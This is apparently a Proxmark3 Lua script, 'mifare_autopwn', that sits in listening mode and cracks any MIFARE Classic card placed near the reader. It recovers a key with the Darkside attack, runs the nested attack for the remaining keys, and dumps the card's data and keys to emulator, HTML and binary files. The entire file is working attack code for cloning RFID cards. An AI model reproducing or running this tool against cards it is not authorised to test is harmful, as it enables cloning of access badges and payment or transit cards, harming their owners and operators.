local getopt = require('getopt')
local reader = require('read14a')
local cmds = require('commands')

example = "script run mifare_autopwn"
author = "Martin Holst Swende"


desc =
[[
This is a which automates cracking and dumping mifare classic cards. It sets itself into 
'listening'-mode, after which it cracks and dumps any mifare classic card that you 
place by the device. 

Arguments:
	-d 				debug logging on
	-h 				this help

Output files from this operation:
	<uid>.eml 		- emulator file
	<uid>.html 		- html file containing card data
	dumpkeys.bin	- keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
	dumpdata.bin	- card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it. 

]]

-------------------------------
-- Some utilities 
-------------------------------
local DEBUG = false
--- 
-- A debug printout-function
function dbg(args)
	if DEBUG then
		print(":: ", args)
	end
end 
--- 
-- This is only meant to be used when errors occur
function oops(err)
	print("ERROR: ",err)
	return nil,err
end

--- 
-- Usage help
function help()
	print(desc)
	print("Example usage")
	print(example)
end

---
-- Waits for a mifare card to be placed within the vicinity of the reader. 
-- @return if successfull: an table containing card info
-- @return if unsuccessfull : nil, error
function wait_for_mifare()
	while not core.ukbhit() do
		res, err = reader.read1443a()
		if res then return res end
		-- err means that there was no response from card
	end
	return nil, "Aborted by user"
end

function mfcrack()
	core.clearCommandBuffer()
	-- Build the mifare-command
	local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
	
	local retry = true
	while retry do
		core.SendCommand(cmd:getBytes())
		local key, errormessage = mfcrack_inner()
		-- Success?
		if key then return key end
		-- Failure? 
		if errormessage then return nil, errormessage end
		-- Try again..set arg1 to 0 this time. 

		cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
	end	
	return nil, "Aborted by user"
end


function mfcrack_inner()
	while not core.ukbhit() do		
		local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
		if result then

			--[[
			I don't understand, they cmd and args are defined as uint32_t, however, 
			looking at the returned data, they all look like 64-bit things: 

			print("result", bin.unpack("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", result))

			FF	00	00	00	00	00	00	00	<-- 64 bits of data
			FE	FF	FF	FF	00	00	00	00	<-- 64 bits of data
			00	00	00	00	00	00	00	00	<-- 64 bits of data
			00	00	00	00	00	00	00	00	<-- 64 bits of data
			04	7F	12	E2	00             <-- this is where 'data' starts

			So below I use LI to pick out the "FEFF FFFF", don't know why it works.. 
			--]]
			-- Unpacking the arg-parameters
			local count,cmd,isOK = bin.unpack('LI',result)
			--print("response", isOK)--FF FF FF FF
			if isOK == 0xFFFFFFFF then
				return nil, "Button pressed. Aborted."
			elseif isOK == 0xFFFFFFFE then
				return nil, "Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
			elseif isOK == 0xFFFFFFFD then
				return nil, "Card is not vulnerable to Darkside attack (its random number generator is not predictable). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
			elseif isOK == 0xFFFFFFFC then
				return nil, "The card's random number generator is vulnerable but behaves somewhat weird (Mifare clone?). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
			elseif isOK ~= 1 then 
				return nil, "Error occurred" 
			end


			-- The data-part is left
			-- Starts 32 bytes in, at byte 33
			local data = result:sub(33)

			-- A little helper
			local get = function(num)
				local x = data:sub(1,num)
				data = data:sub(num+1)
				return x
			end

			local uid,nt,pl = get(4),get(4),get(8)
			local ks,nr = get(8),get(4)

			local status, key = core.nonce2key(uid,nt, nr, pl,ks)
			if not status then return status,key end

			if status > 0 then 
				print("Key not found (lfsr_common_prefix problem)")
				-- try again
				return nil,nil
			else
				return key
			end
		end
	end
	return nil, "Aborted by user"
end

function nested(key,sak)
	local typ = 1
	if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
		typ = 4
	elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
		typ= 1
	elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
		typ = 0
	elseif  0x10 == sak then-- "NXP MIFARE Plus 2k"
		typ = 2
	elseif  0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
		typ = 1
	else
		print("I don't know how many sectors there are on this type of card, defaulting to 16")
	end
	local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
	core.console(cmd)
end

function dump(uid)
	core.console("hf mf dump")
	-- Save the global args, those are *our* arguments
	local myargs = args
	-- Set the arguments for htmldump script
	args =("-o %s.html"):format(uid)
	-- call it 
	require('../scripts/htmldump')

	args =""
	-- dump to emulator
	require('../scripts/dumptoemul')
	-- Set back args. Not that it's used, just for the karma... 
	args = myargs
end

--- 
-- The main entry point
function main(args)


	local verbose, exit,res,uid,err,_,sak
	local seen_uids = {}

	-- Read the parameters
	for o, a in getopt.getopt(args, 'hd') do
		if o == "h" then help() return end
		if o == "d" then DEBUG = true end
	end

	while not exit do
		res, err = wait_for_mifare()
		if err then return oops(err) end
		-- Seen already?
		uid = res.uid
		sak = res.sak
		if not seen_uids[uid] then
			-- Store it
			seen_uids[uid] = uid
			print("Card found, commencing crack", uid)
			-- Crack it
			local key, cnt
			res,err = mfcrack()
			if not res then return oops(err) end
			-- The key is actually 8 bytes, so a 
			-- 6-byte key is sent as 00XXXXXX
			-- This means we unpack it as first
			-- two bytes, then six bytes actual key data
			-- We can discard first and second return values
			_,_,key = bin.unpack("H2H6",res)
			print("Key ", key)

			-- Use nested attack
			nested(key,sak)
			-- Dump info
			dump(uid)
		end
	end
end

-- Call the main 
main(args)